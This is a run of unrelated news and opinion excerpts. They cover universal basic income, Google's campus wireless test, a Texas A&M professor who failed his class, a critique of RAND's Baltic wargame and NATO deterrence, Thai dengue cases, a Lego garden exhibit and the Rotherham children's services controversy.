evidence that it works; if you’re interested, read more about it here. Why will we need BI? First, watch this. I’ll wait…… Now that you’re all caught up, you’ll agree that automation is coming for most of our jobs, and the economy isn’t going to function when 47% of the population is unemployed. Those who own/create the automation will become ridiculously wealthy but if no one can afford the cheap ubiquitous goods the explosion of productivity creates, then everyone loses. So we tax the owners of capital and redistribute wealth in the form of BI. It’s supported by smart people from all over the political spectrum because it just makes a lot of sense. This has major implications for the future of work. No one will need
capitulation from what was once New York’s most ambitious hip-hop crew. “I said, ‘I want all of y’all to get on this bus. And be passengers,” RZA told NPR in 2013, describing an early attempt to enlist his band members in Wu-Tang’s barnstorming of hip-hop radio. “And I’m the driver. And nobody can ask me where we going.” A$AP Mob’s bus has never had more passengers aboard: Mob members, magnetic guests, well-wishers and hangers on. And yet, the driver’s absence has never been more deeply felt.When Google experiments, it can have earth-changing consequences. That might be the case with its latest project: the building of a wireless network on-campus at its Mountain View headquarters, reported by the Wall Street Journal on Wednesday. The small-scale network wouldn’t have much range, and it would be incompatible with most current-generation iOS and Android mobile smartphones and cellular-capable tablets, given the frequency it would use, but it could work very well in dense urban centers. Already, China, Brazil and Japan are building networks using the same frequencies, which means that eventually devices will likely be made to work on these networks, and if Google’s building a small-scale version of those networks, it’s probably going to be running experimental hardware that can take advantage of it, too. Google declined to share more info with the WSJ on what it was building the network for, but part of the application it filed with the FCC for its deployment includes launching the network in part from the building that houses the team responsible for Google Fiber. Part of Google’s extended plan for the experiment could be eventually offering a wireless service for Google Fiber users, expanding their coverage to an entire metropolitan area when they’re outside of a house, for instance. That’s just speculation from BTIG analyst Walter Piecyk, in conversation with the WSJ, but it’s a plausible enough notion given where the project is spinning up at Google HQ. There has been lots of talk in the past of Google’s potential desire to build its own wireless service, sparked recently by news that it was in discussion with Dish, the TV service provider that has said in the past it was seeking a partner for building a wireless network. The company also aims to deploy free Wi-Fi access in NYC, beginning in Chelsea where it has its East Coast headquarters. A new project at its Mountain View facility to build a network using licensed spectrum, rather than Wi-Fi, indicates it could be looking to ramp up those efforts to a whole new level down the road.Galveston professor fails entire class, quits course Professor Horwitz flunked his entire class because they were disrespectful and incompetent, he said. Screenshot from KPRC-TV news. Professor Horwitz flunked his entire class because they were disrespectful and incompetent, he said. Screenshot from KPRC-TV news. Image 1 of / 39 Caption Close Galveston professor fails entire class, quits course 1 / 39 Back to Gallery One college professor found his students so hopeless that he flunked them all and quit the course. In an email to his management class at Texas A&M Galveston, professor Irwin Horwitz came down hard. "I am frankly and completely disgusted. You all lack the honor and maturity to live up to the standards that Texas A&M holds, and the competence and/or desire to do the quality work necessary to pass the course just on a grade level," he wrote, according to Inside Higher Ed. "I will no longer be teaching the course, and [you] all are being awarded a failing grade." RELATED: Meanest things said about Houston college teachers In the message, Horwitz said students had cheated, told him to "chill out," called him a "[expletive] moron" and spread false rumors about him online. He told KPRC news he even felt unsafe in the classroom at times, and had never thought so low of a class in his 20 years as a college professor. "None of you, in my opinion, given the behavior in this class, deserve to pass, or graduate to become an Aggie, as you do not in any way embody the honor that the university holds graduates should have within their personal character," he wrote to the students. In a telephone interview Monday, Horwitz stood by his decision to give failing grades to the entire class. “I have nothing left,” said Horwitz, 53, who teaches ethics and business management courses. “I put my neck on the line for what I thought was the right thing to do.” Horwitz blamed the unwillingness of the administration to enforce the Texas A&M honor code. “The administration is all about passing these kids through and making as much money as possible,” he said. The student who called him a “(expletive) moron” to his face was required to write a four-line apology, Horwitz said. College Provost Louchouarn declined to go beyond a prepared statement: “We hold students accountable if there is evidence of cheating or misconduct. Similarly, we do not allow faculty to punish an entire class if there is no evidence of widespread misconduct or cheating. The University is appropriately evaluating the situation and will have no further comment until we have completed our process of gathering accurate information.” Texas A&M spokesman Shane Hinckley said no action had been taken regarding Horwitz’s employment. Horwitz said he was out on sick leave because of a bad back and would not be returning to teach before the end of the semester. Horwitz's online profile with Texas A&M shows he's taught dozens of courses for at least five universities since 1994 and has won recognition for both research and teaching. But scant student-published reviews of Horwitz are harsh. RELATED: These are the 12 richest colleges in America "Nah bruh this guy is a straight clown," said one supposed student rating Horwitz's work with the University of Texas Health Science Center on the website RateMyTeachers.com. Another user of the website Hallway.com called Horwitz "one of the least empathetic people I have ever had teach a class." Horwitz told Inside Higher Ed that he had rarely failed students throughout his teaching career, but had never encountered a group as incompetent as his spring 2015 management course. University officials told KPRC that the blanket failing grades will be reassessed and the department head will take over Horwitz's class for the remainder of the semester. Some students needed the required course to graduate with business degrees in May. But Horwitz alleged that his students remained too incompetent to deserve college degrees.A revanchist Russia and vulnerable Baltic states are on the minds of America’s defense establishment. After Secretary of Defense Ash Carter’s trip to Europe to oversee the change of command at European Command (EUCOM), it’s become clear according to senior defense officials that the plan is to transition the role of the command from “reassurance to deterrence.” U.S. military presence is returning in force to Europe in search of that old familiar conventional deterrence in the face of Russian aggression. From the $3.4 billion European Reassurance Initiative, of which $1 billion would go towards adding an Armored Brigade Combat Team in Europe (for a total of three U.S. brigades) to NATO’s recently announced plan to deploy 4,000 additional troops to Poland and the Baltic states, there is a clear policy shift toward territorial defense in Europe. Yet EUCOM’s new commander General Curtis Scaparrotti faces a daunting task, because deterrence is a difficult mistress to court. How do you know when you have it? Lost it? Gaining or losing it? When it comes to protecting NATO’s eastern flank, it could be a case of defending the indefensible. Have we thought about the different conflict scenarios for the Baltics or merely those scenarios that proponents of more forces in the Baltics would prefer to deter? Given the policy momentum, infusion of funding, and additional manpower for EUCOM, it is also time to ask some inconvenient questions about whether we truly understand what a conflict with Russia would look like in the Baltics and if conventional deterrence by denial is possible on NATO’s eastern flank. There is a healthy debate in the analytical and policy communities on the U.S. force structure required in Europe, where to deploy U.S. troops, and the nature of Russia’s challenge to NATO. Proponents of more forces in Europe have offered their answer, and all of them are after varying degrees of more U.S. military presence in the Baltics. Their ideas range from bolstering tripwire forces into more of a razor fence to large-scale deployments in Europe. The authors of RAND’s wargame on the Baltics, David Shlapak and Michael Johnson, have pressed their case in a number of publications, including here at War on the Rocks, in an article that spread around the defense establishment like wildfire (“Outnumbered, Outranged, and Outgunnned: How Russia Defeats NATO”). Elbridge Colby and Jonathan Solomon made similar points, also at War on the Rocks (“For Peace with Russia, Prepare for War in Europe). If you’ve been following this debate, you probably learned that at some point NATO lost its ability to deter Russia, NATO forces are hopelessly outmatched and perilously exposed to a Russian invasion if Vladimir Putin wakes up grumpy one morning. NATO is, in the best case scenario, unable to prevent a Russian fait accompli seizure of the Baltic states in a short-notice conflict. At the very least, the United States can’t afford the risk, and hence it must do what it takes to reinforce this ethereal substance known as conventional deterrence. Yet much of this discussion, like most conversations regarding Russia, strikes me as conventional wisdom. Frankly, it’s much easier to adjust the narrative on the Russian threat for a policy prescription than it is to determine the right U.S. force posture to address the Russian threat. When did NATO lose its deterrence, and if it’s gone, why have the Russians not invaded all these years? These mysteries suggest there are still large blind spots in the “reinforce deterrence” debate. The reason is that these arguments rest on a contrived vision of Russia and one version of a high-end fight in the Baltics. RAND’s oft-trumpeted report on a series of wargames is the best example of this phenomenon. Its authors, Shlapak and Johnson, made fairly sweeping arguments on the basis of their results, both for large-scale U.S. force deployments in the Baltic states and for retooling the U.S. Army to fight Russia. Their intention was to spark a discussion about how NATO would fare in a fight against Russia and what that fight would look like. So let’s have that discussion, because I think they got it wrong. The Devil is in the Details of the Wargame RAND’s series of wargames demonstrated how easily a task-organized Russian army could beat NATO in the Baltics in a short-notice contingency, including NATO’s Very High Readiness Joint Task Force — an inspirational name that belies its capability. This outcome was not exactly a revelation in analytical circles given that Russia has long been known to be a land power fielding a sizeable army, incidentally still based inside its own borders. Russia’s combined armed forces are close to 900,000 strong today. Its army, airborne, and naval infantry units together likely number 300,000, and even its newly formed National Guard will boast around 400,000. As one of the premier Eurasian land powers, Russia’s armed forces outnumber all neighbors aside from China. This should not be treated as news. In RAND’s wargames, Russia rolled through the Baltics even with NATO airpower to contend with, but so what? The structure of such scenarios can lead to radically different conclusions about what the U.S. should do in response. RAND’s wargame is fraught with problems, starting with its assumptions and its reading of Russian strategy and military. The results have been hyped up like so much hot air filling a balloon. The problems with the wargame start with its objective. Shlapak and Johnson write, The strategic goal of the invasion was to demonstrate NATO’s inability to protect its most vulnerable members and divide the alliance, reducing the threat it presents from Moscow’s point of view. It makes little sense that Russia would invade and conquer the Baltic states to demonstrate NATO’s weakness. There is no logical connection between the strategic objective and the operation simulated. Moscow can handily demonstrate the alliance’s weakness without invasion and occupation, as I discuss in more detail below. Invading and conquering entire countries is not commonly done for purposes of demonstration, just as Russia did not annex Crimea for demonstrative effect. This is problem one both for RAND’s wargame and the wider debate — no one can intelligently articulate the benefits of such potential actions for the Russians. Paradoxically, according to RAND’s wargame, Russia planned to seize the Baltics, but apparently only had 10 days’ notice to organize its own invasion. As a consequence, the Russian army was only able to bring a total of 27 battalions (22 from the Western Military District) to this epic battle with NATO, and that total includes units already stationed in Kaliningrad. This task-organized grouping may have been sufficient for Russia to win in RAND’s wargame, but it’s an illogical formation for a country that focuses on drills in large-scale conventional warfare, gathering units from various military districts. Although official figures are always inflated, in the last strategic exercise, Tsentr-2015, as many as 95,000 troops may have been involved. Indeed, the force they envisioned Russia fielding is just the right size to conquer the Baltic states on paper, yet small enough to potentially be deterred by several U.S. brigade combat teams. Shlapak’s and Johnson’s Russian invasion does not seem grounded in how the Russian military prepares to fight and the scale of the battle that it trains for. If Russia was planning a full-scale invasion of the Baltic states, it would also have to plan to take on all of NATO and defend against a counter-attack. Great powers typically don’t attack superpowers with cobbled-together forces and hope for the best. Moscow would likely bring to bear a force several times larger than that assumed in the wargame and maintain the logistics to deploy additional units from other military districts. Opinions will vary among Russian military experts about the size of force Russia could muster in a hurry, but one estimate I suspect you will not hear is 27 battalions thrown together for what could be World War III. Think much bigger and not within an arbitrary 10-day time limit. It is unclear where the 10-day invasion rule came from. It was also referenced in a recent Atlantic Council report. Has NATO coordinated this preferred time table with the Russians? Between February and April 2014, the Russian General Staff demonstrated its competence in deploying a force of roughly 40,000 to 50,000 on Ukraine’s borders and dispersing it over the course of several weeks. There are lessons to be learned from the Russian war in Ukraine, but we should take great care in extrapolating them to a hypothetical high-end fight in the Baltics between Russia and NATO. In contrast to Ukraine, it is unlikely that Russia would invade NATO as a response to an unexpected contingency with little more than an ad hoc grouping of battalion tactical groups. It is equally unlikely that an ad hoc grouping of Russian battalions — the army RAND built — would easily invade and occupy the Baltics, which have been working quite hard on conscription and mobilization to make themselves difficult to digest in such a scenario. Sometimes wargames accurately reflect how two opponents would truly fight. Other times it’s more a table top map with blue and red unit counters. RAND’s wargame seems to have been the latter. Shlapak and Johnson write, “the novelty of the scenario meant that there was little to go on in terms of strategic or operational concepts for either side.” A Russian task force invading NATO with no operational or strategic concepts seems difficult to imagine, and raises serious questions about what the wargame simulated. We’re Not in Germany Anymore The more one reads the RAND wargame report alongside the authors’ related commentary, the clearer it becomes that their vision was not a modern-day fight between Russia and NATO. Rather, it is a recreation of AirLand Battle from the Cold War. They basically admit as much: A successful defense of the Baltics will call for a degree of air-ground synergy whose intimacy and sophistication recalls the U.S. Army–U.S. Air Force “AirLand Battle” doctrine of the 1980s. Of course, it is tempting for American Cold Warriors to simply cross out the “Soviet Union,” write in “Russia,” and then look to set up the same AirLand Battle that played out on many a hex-square table top map in the 1980s. The doctrinal premise of AirLand Battle was that NATO could win a war against the Warsaw Pact by focusing on strong integration between the Army and Air Force, a non-linear battlefield, and deep airstrikes. If we’re heading into Cold War 2.0, why not dust off AirLand Battle, write 2.0 next to it as well, and give that a go? Right? There’s even a gap to fight over! Instead of Germany’s dreaded Fulda Gap, we can battle for Poland’s Suwalki Gap. Who hasn’t been in a discussion where some expert has not mistakenly referred to Russia as the Soviet Union? Old habits die hard, along with outmoded thinking. I’m not convinced AirLand Battle lessons apply here. The only similarities between these geographies is that they both have “gaps” in them. I don’t wish to take away from the victories of AirLand Battle warriors in the 1980s, retiring from the table top battlefield confident in their ability to achieve deterrence by denial against the Soviet Union. Thankfully, that fight never took place. The doctrine may indeed have contributed to peace in Europe, but it is worth noting that NATO successfully deterred the Soviet Union in Europe for decades prior to the advent of AirLand Battle. Make AirLand Battle Great Again In their War on the Rocks article, David Shlapak and Michael Johnson write that “geography is a harsh mistress in this scenario.” It is indeed, but not the land terrain they were referring to. There is a bigger problem, because the Baltic states live along the Baltic Sea, which isn’t part of RAND’s wargame. Excluding the Baltic Sea makes sense only from a 1980s AirLand Battle perspective. The U.S. Navy can rest easy — thanks to AirLand Battle, it’s going to be sitting this one out. Americans often struggle with the geography of places we’ve yet to fight a war over. Besides the fact that all the NATO members and partners in this hypothetical fight are coastal countries, several other key geographical differences are worth noting. For example, Russian forces are already behind NATO in Kaliningrad, and Belarus is Russia’s ally, or at the very least could serve as a springboard for Russian forces. This is why picking up a Cold War fight, moving it over a few hundred kilometers, and putting it down in the Baltics is not the right way to think about the Baltic high-end fight. Rather than the topography, the problem is that the world has changed, and we need to adjust to the geopolitical landscape of 2016. One of the challenges with wargaming and the hex-square approach (a tactical grid dividing the map terrain into hexagonal squares) is that it can lend you to structure advice not in service of a real-world problem, but in the service of fixing the wargame. Looking at the board, no doubt Russia’s hex squares are filled with powerful red unit pieces and NATO’s are disappointingly empty. The logical conclusion is to fill NATO’s side with blue pieces — problem solved. Hence RAND recommends the deployment of seven brigades, “supported by airpower, land-based fires, and other enables on the ground,” i.e. a veritable Fortress America to be planted in the Baltics and Poland. That will solve the problem of RAND’s wargame, but it may do little to solve NATO’s deterrence problems vis-a-vis Russia and could instead create a dangerous security dilemma, to boot. I’m not the least bit opposed to more U.S. forces in the Baltics, in principle. That being said, American decision-makers must venture into this with eyes wide open. As Georges Clemenceau remarked, “war is too important to be left to the generals,” and strategic decisions should be too important to be left to the wargamers who see the world through hex-squares. NATO’s problem is not the scenario RAND presented, and their prescriptions won’t fix it either. The Battle of Dunkirk 2.0 If we are to have this surreal Dr. Strangelove discussion, then let’s play out a high-end fight between Russia and NATO. Imagine it is the future: NATO has done as told and forward-stationed several American brigades in the Baltics. Russia also repositions forces in the Western Military District in response, and realizes previously announced plans for new unit formations. One day, Russia decides to roll the dice on the fate of humanity and challenge NATO through a conventional invasion. Except the Russian General Staff looks at the map and realizes that there’s no need to seize Baltic cities since they can simply walk through Belarus and link up with Kaliningrad, thereby severing NATO’s “Army of Deterrence” in the Baltics from the rest of its forces in Poland. Russia’s Baltic Fleet is not much of a naval force, but it can blockade Baltic ports for a while, mine them, and effect sea denial. Of course, the other problem is that all of U.S. forces will be within the arcs of Russia’s long-range air defense, operating at the mercy of Russian cruise missiles, artillery, and an initial air attack. One thing AirLand Battle didn’t have to deal with is S-400 air defense systems with 250 kilometer ranges, 350 kilometer-range Iskander-M tactical missiles, or 300 kilometer-range Bastion-P coastal missile defenses. Of course, everything can be overcome in time, except that there’s no obvious way to reinforce U.S. units in the Baltics or to keep their supplies and fuel from being destroyed in the opening hours of the fight. This entire scenario starts within Russian kill zones and electronic warfare zones. Russian units can come from Belarus, Kaliningrad, Russia itself, or by sea in preparation for an assault. The ability of Moscow to compel Minsk’s cooperation plays a key role, because the railroads run right through Belarus and to the Suwalki Gap or by Vilnius. Author and retired Army Colonel Douglas MacGregor’s brief to the Senate Armed Services Committee was no less alarmist than RAND’s, but he recognized the more important problem of Russian forces attacking from Belarus to Kaliningrad. Why would Russia make a dash for Baltic capitals, as in RAND’s wargame, when the battle is decided by whether or not NATO can successfully reinforce from Poland? Instead of fighting NATO forces in the Baltics, the best way forward is to turn that deterrent into a military hostage. What if, in the time it takes NATO to generate forces sufficient to break through a Russian defensive position across Kaliningrad, the alliance collapses politically, especially given the concern over losing its units behind enemy lines in the Baltics? All analogies are imperfect, but it strikes me that advocates for a robust U.S. military presence want to replay the Battle of Dunkirk in 1940, where U.S. forces get to fill the unenviable shoes of the British Expeditionary Force surrounded by the German Army. Whether you have one brigade or three brigades, you’re still going to lose that fight. U.S. planners would not be the first to think you could hold a pocket against a land power and reinforce it across a gap. The idea that a line of U.S. forces along the Russian border can achieve deterrence by denial in modern times boasts all the ingenuity of the Maginot Line. More forces in place can’t always compensate for a poor strategy and unworkable geography. A Million Ways to Die in the East NATO’s biggest challenge is not the balance of forces, but the fact that its credibility is attached to every square meter of Baltic terrain. A much more likely scenario is one in which Russia deploys a large land force on the borders as part of a snap exercise, as it did opposite Ukraine in early 2014, and then seizes some unknown patch of dirt. Would NATO attack this offending Russian force over a few square meters? It’s one thing to contemplate trading Washington for Vilnius — what about some farm house on the Russian-Estonian border? Let’s take another option wherein Russia simply picks up the border and moves it further into the Baltic states. That’s no fantasy. Moscow has been doing this to Georgia in South Ossetia. On the one hand, NATO cannot let the Russians break its credibility through salami-slicing tactics, but on the other hand, the Baltic states themselves might not be so eager to pick a fight they can’t win over a few feet of real estate. Who is willing to attack a Russian army on Russia’s border? Plenty has been written on what would happen if Russian special forces tried to seize Baltic towns, leveraging the presumed camaraderie of the local ethnic Russian population. This Crimea-like scenario is improbable, especially because Russia had forces in place in Crimea from the very beginning, but it offers an important lesson that should drive NATO’s thinking about the Baltic high-end fight. The challenge is not NATO’s deterrence against a hypothetical conventional war, which is not only unlikely but wholly unnecessary for Russia to challenge NATO. The problem lies in compellence, because there are numerous scenarios in which Russia can set up a challenge to NATO’s credibility as an alliance and compel the West against a response, thereby leading to failure. The reason Russia annexed Crimea without having to overcome resistance is in large part due to conventional compellence. Russia’s military deployment and a directly issued threat compelled Ukraine’s leaders to avoid even attempting resistance. There was no combat in Crimea. Those arguing for forward deployments keep envisioning a scenario where Russian troops or special forces cross the border and shoot first. That is one set of problems that militarily cannot be easily solved as described above, but the more perilous cases are those in which NATO must shoot first when faced with a large Russian conventional deployment. EUCOM’s true challenge is not deterrence — it’s how to handle compellence by an advanced conventional adversary capable of combining special forces and large-scale military operations. As I’ve written elsewhere on War on the Rocks on the establishment’s obsession with hybrid warfare, the problem is also not a hybrid one. Russia has re-forged its military as a useful instrument of national power and rediscovered how to compel others using military power. Even if territorial defense was workable — a dubious prospect at best — deterrence only works if the other side plans to attack you. A smarter approach for Moscow, and one conceptually demonstrated in Crimea, is to create a crisis in which NATO’s credibility is tested on the choice of whether or not to attack Russia first. What’s the Right Force Posture for Nuclear Oblivion? The other problem with the fixation on conventional deterrence in the Baltic fight is that just as in the old standoff between NATO and the Warsaw Pact, this battle is fraught with opportunities for nuclear escalation. Most Russian experts I know in the military analysis community, including those in Russia, don’t see much of a chance for conventional battle with NATO to stay conventional. RAND didn’t wargame that out, since theirs was an AirLand Battle exercise, but it makes the debate over how many brigades to stick into the Baltics somewhat moot. On any map, Russia’s exclave of Kaliningrad is a central problem in keeping this a conventional fight, because this is a piece of Russian territory that NATO must either bypass or neutralize to reinforce the Baltics. That’s not just a Russian fort, projecting long arcs of anti-access and area denial weaponry between Poland and Lithuania — it’s also liable to be a nuclear landmine. There is a possibility that if Russian forces are sufficiently degraded or defeated in Kaliningrad that Moscow may resort to or threaten nuclear first use. Even if we fill all those hex squares with blue forces, it doesn’t get around the issue that NATO’s prize for its victory is not necessarily the successful rescue of the Baltics, but an inbound tactical nuclear warhead. RAND’s report alludes to the minor problem of escalation (all of us dying in nuclear oblivion), but such thoughts get in the way of gaming out how many heavy armor brigades one needs in on the eastern flank. Nuclear escalation is not assured, but given the impact of such an outcome, perhaps the best strategy is to make decisions that afford the most opportunities for managing escalation dynamics. That means a force posture oriented toward strategic flexibility, not entrenchment. The Russians are Coming, the Russians are Coming When we understand the nuclear ramifications of this entire discussion, it becomes clear how mad much of the argumentation over conventional deterrence in the Baltics truly is. There is not even a meager attempt to explain how deterrence has failed or why Russia would attack NATO, despite the fact that through most of the Cold War and into the present, deterrence has rested more on the threat of punishment. The U.S.-Russia relationship always enjoyed deterrence by punishment aplenty (no offense to AirLand warriors), through nuclear and subsequently conventional retaliation. Despite the current tensions and Russia’s invasion of Ukraine, there’s little to indicate that this equilibrium has been lost. Why is it so hard for a part of the policy establishment to understand that NATO is not Ukraine? That the considerations involved in mauling a weak, unallied neighbor on one hand and taking on the world’s preeminent military power on the other are likely to be completely different? Instead of credible analysis, we have been treated to a series of ill-structured narratives that stack the Russia threat as high as necessary together with unfounded claims that deterrence has been lost. RAND’s wargamers write: Russia today looks to its northwest and sees little between its forces and the Baltic Sea but highway and the prospect of forcing NATO into the three-sided corner described above. Our goal was to devise a posture that would present an alternative landscape. So what’s changed in the last 16 years? If the Baltics are such low-hanging fruit, why doesn’t Putin invade? Surely it is not a love of NATO that has stayed his hand for so many years. NATO is told that it has lost deterrence and yet some mystical force is clearly deterring Russia. Could it be U.S. treaty commitments, the same thing that deterred the Soviet Union all those years? If Russia does not take NATO guarantees seriously, and is not deterred by the risk of war with the United States, then why invade and threaten those who consider joining the alliance? There’s never been a Russian official statement to the effect that Moscow does not take U.S. treaty obligations seriously, nor a serious repositioning of Russian forces to NATO’s borders signaling any intent to invade. It is even more worrisome that no attempts are being made to intellectually link the recommendations to NATO with an analysis of Russian force posture and intent in the Baltics. Careful With “More is More” A host of Western defense establishments are seeing red when they look at Russia today, especially the U.S. policy community. I don’t want to discourage EUCOM from getting more forces into Europe as it certainly needs them, but we should also be careful not to overplay the desire to stick it to Russia and create a security dilemma. Remember, U.S. forces are on Russia’s border now, which is why in this case I respectfully disagree with Elbridge Colby and some of his thinking in articles like “Step Up to Stand Down” in Foreign Affairs. Russia’s army will not retreat or step down from Russia. Russia’s historical and cultural capital of St. Petersburg is not far from the Baltic border. If NATO steps up too much, the Russian military will too, and then we will be staring at a force bidding contest with one of Eurasia’s premier land powers. That strikes me as a poor plan. Ironically, contrary to many of the assertions by “the Russians are coming” camp, during the period of military reforms between 2009 and 2012 the Russian military moved, consolidated, or disbanded many of the formations in the Western Military District facing NATO’s borders. Since 2013, some of the military strength has been trickling back near Moscow, but there’s no sudden militarization on NATO’s borders. Russia announced the creation of the 1st Tank Army outside Moscow, though the unit has yet to form, and like NATO’s very high readiness task force, is aspirationally named. Since 2014, Russia’s General Staff has focused on preparing for another possible war with Ukraine and a color revolution in Belarus, and still lacks permanently stationed units on either country’s borders. Russia’s Minister of Defense has announced the formation of three new divisions (these were already announced piecemeal over the past two years). Two will be positioned on Ukraine’s eastern most borders, and one between Ukraine and Belarus. We can discern in Russian force posture and organization where Moscow sees the need for permanently based forces, a division level command staff, and the ability to attack on short notice. It’s Ukraine, not NATO. In essence, these will be expanded brigades formed from existing units with division-level command staffs. While NATO has Russia on its mind, Moscow is instead thinking about contingencies in Ukraine and Belarus. This is one of the clearest examples where the “more deterrence” arguments seem factually divorced from changes in Russian force posture and perhaps the Russian military analysis community as a whole. While the field of Russian military analysis is busily studying the layout of Russian forces and their capabilities, large parts of the policy community are akin to a plane flying above it, detached and unencumbered by the facts on the ground. Yes, Russia’s brigades can generate battalions to invade the Baltics, but everything about Russia’s force posture indicates a country ill-prepared for war with NATO. The reserve and mobilization system has been broken ever since the military reforms launched in 2008. The Russian army is simply not setup to occupy an invaded country, particularly one likely to resist. There are few permanent units based on NATO’s borders and no higher tier command structures to organize a fight using units pieced together from other districts. For all the charged rhetoric, there is a dearth of military substance behind this confrontation on both sides, and we should seek to keep it that way. If NATO and EUCOM get the force posture wrong, Russian plans can change, and these divisions may end up being formed to the north by the Baltic border. Place too many units in the Baltics and NATO creates a vulnerability for Moscow both in Kaliningrad and St. Petersburg, one Russian leaders will be forced to redress. Patience may not rule the day in a prolonged standoff, as the Cold War was not without its share of crises. Remember, Putin said in October 2015, “the streets of Leningrad taught me one thing: If a fight’s inevitable, you must strike first.” Right now, having too many NATO units in the east seems like a good problem to have, but NATO should avoid realizing a self-fulfilled prophecy in pursuit of that mystical stuff: conventional deterrence. How will we know when we have it? Will it feel different from when we don’t, or will proponents of a more robust presence in Europe simply tells us again that we need more? More is always the answer for a section of the policy establishment that has never met a forward deployment or weapon system procurement they didn’t like. NATO’s insecurity and the Russian threat are effective arguments for spending on a range of weapons platforms, systems, and capabilities. Shlapak and Johnson have woven a host of arguments about how the U.S. army is outgunned by Russian tanks, outranged by artillery, and of course outnumbered. It’s ambitious, but perhaps the alleged deterrence problem can serve as the basis for a complete overhaul of the U.S. Army, with a new wave of spending like the “Big 5” procurements from the 1980s: the Apache, Black Hawk, Abrams, Bradley, and Patriot systems. While some parts of the establishment are keenly discussing technological breakthroughs and the future of warfare — take Deputy Secretary of Defense Bob Work and the third offset — others are still measuring the Army’s artillery tube size relative to Russia’s, whose military had traditionally been one of the world’s most artillery-heavy forces. In 2016, countries like Azerbaijan are deploying loitering drone munitions against their adversaries, yet the conversation on Russia in some circles still revolves around that precious tube size and caliber gap. Indeed, Russia’s artillery tubes are bigger, fire further, and their vehicles have better firepower, but a more sophisticated knowledge of Russian military capabilities reveals that this is all generalization in place of nuance. We should temper this procurement drumbeat with common sense, because it is doubtful that the U.S. military can be configured to beat one of the world’s leading land powers and take on China on the high seas, along with a host of other global contingencies at the same time. Instead of just looking at gaps in caliber, the United States should focus on the profound advantages it retains in airpower, seapower, undersea warfare, and in the way the U.S. military fights as a whole. Washington doesn’t need to match Russia stick for stick to maintain a leading edge in technology and retain deterrence by punishment, and more importantly it shouldn’t. A Smarter Set of Answers to NATO’s Problems First, I agree entirely that we need to rebuild the infrastructure and logistics that would support a territorial defense of Europe to make any military posture there credible. The Army is also in need of modernization to put it in a better place versus any peer adversary in general, though it could be informed by a more sophisticated analysis of the Russian military than that offered by a tape measure. However, we should not delude ourselves, or let others delude us, into thinking that there is a workaround the fact that having a land war with Russia on its border is a poor proposition. This is a well-trodden path in military history with more losers than winners, including both those whose military had a qualitative edge and those with vast numerical superiority. I respect Colby’s approach, but some of his statements seem poorly linked to demonstrated Russian thinking or strategy: “Such a posture should be able to hold off, or at least bog down and bloody, a Russian force — even if it cannot quickly defeat it — until NATO can surge the forces needed to prevail forward.” The map is one large argument in and of itself against such notions. U.S. force deployments are not an answer to political warfare, nor is building a Maginot Line facing Russia any smarter than it was for France in the 1930s. As former Secretary of Defense Chuck Hagel recently said about NATO’s proposed force deployments, “I’m not sure there’s some real strategic thinking there.” The way forward is to shore up deterrence by punishment, which has
. Advertisement Hot Chain by R8TEDM3. Sailors Take Warning by Me. Advertisement Warm Reception by Terry Estep. Noir Blur by Zomba13. Advertisement Katie's Pub via Josh Rife. Great Outdoors by KiraXD. Advertisement Chain Link by Jack Lucas. Rainy Day by M.Steiner. Advertisement Sunset Workout by Man-is-Obsolete. Superfriends by Thabet Yusuf. And my personal favorite, by NeoGAF poster Kane1345: Advertisement There are many more out there, so if you've seen more amazing shots, I hope you'll share them below.About a month after the Philippines dengue fever outbreak eclipsed the 100,000 case mark, Thailand has done the same. The Thailand Bureau of Epidemiology (BOE) reported an additional approximately 4,000 dengue cases during the past week bring the country total to 102,761 cases from all 77 provinces through Nov. 2. In addition, four additional fatalities were reported bringing that total to 102. The BOE reports the hardest hits areas are Petchburi, Rayong, Rachaburi, Uthaithani and Prachinburi. Dengue fever is an infectious disease carried by mosquitoes and caused by any of four related dengue viruses. This disease used to be called “break-bone fever” because it sometimes causes severe joint and muscle pain that feels like bones are breaking. People get the dengue virus from the bite of an infected Aedes mosquito. It is not contagious from person to person. There are three types of dengue fever in order of less severe to most: the typical uncomplicated dengue fever, dengue hemorrhagic fever (DHS) and dengue shock syndrome (DSS). The World Health Organization (WHO) estimates there may be 50–100 million dengue infections worldwide every year. However, new research from the University of Oxford and the Wellcome Trust, using cartographic approaches, estimate there to be 390 million dengue infections per year worldwide. Robert Herriman is a microbiologist and the Editor-in-Chief of Outbreak News Today and the Executive Editor of The Global Dispatch Follow @bactiman63The Huntsville Botanical Gardens has put together yet another amazing outdoor exhibit for us. Have you seen the Legos in the gardens yet? Click on any of the photos to see the details. Sean Kenney has designed and built amazing Lego sculptures that are now touring the United States, including a stop here in Huntsville. Some are small and adorable, and some are massive creations, using thousands of Lego bricks. Many animals are lifesized, with the insects enlarged to fantastic proportions. Some sculptures are perched on traditional pedestals, but others are cleverly placed so that they become part of the environment. The Lego sculptures are throughout the gardens, but my two favorite places are the water gardens and the buffalo field. The water gardens have bloomed a little early this year... ...but some trickery is afoot. That frog looks a little blocky on closer inspection. The water lily pads blend in with the rest of the gardens with almost a trompe-l'oeil effect. Lego koi meet flesh and blood koi in the water gardens these days. The buffalo (or more correctly bison) that have arrived may not be lifesize, but they are large enough to make you look twice. A parent watches over her baby in a "prairie" of wildflowers. Nature Connects will be at the Huntsville Botanical Gardens until July 26. Stop by for a visit to see these Lego sculptures and more. You will not be disappointed; I sure wasn't. In the meantime thanks for stopping by here, on my photoblog. Want more? Check out Wander Photo on Facebook Twitter, and InstagramThe woman who presided over the last five years of failure as the boss of children’s services at Rotherham Council is the same executive who removed three children from their foster parents because they were Ukip voters. Joyce Thacker, the £130,000-a-year Strategic Director of Children’s Services at the scandal-hit council, is among the senior managers who are now under pressure to resign following the “excoriating” report into child sexual exploitation in the town. Although she is not named as being culpable for the failure to protect 1,400 abused children in the report, as the head of children’s services since 2008 Mrs Thacker is among those whose positions now appear to be under threat. The report by Professor Alexis Jay said child sexual exploitation had carried on largely unchecked between 1997 and 2013, the period she was asked to examine, but “continues to this day”. Nick Gibb, the Education Minister, said on Wednesday that those who made policy decisions that contributed to the scandal “should be held to account”. Mrs Thacker, who joined the Council as deputy head of children’s services in 2006, is already a controversial figure following her decision two years ago to remove three ethnic minority children from their foster parents because of their affiliation to Ukip. After The Telegraph drew attention to the foster parents’ plight, Mrs Thacker refused to back down, saying the children’s “cultural and ethnic needs” did not fit in with the parents’ “strong views”. She said their support for Ukip meant they opposed “multiculturalism”. Last year, during an appearance before Parliament’s Home Affairs Select Committee to give evidence on child grooming in Rotherham she told MPs: “I do not think I would fully accept that we have failed dismally to deal with the issue.” When asked why there had been so few people brought to justice for child sexual 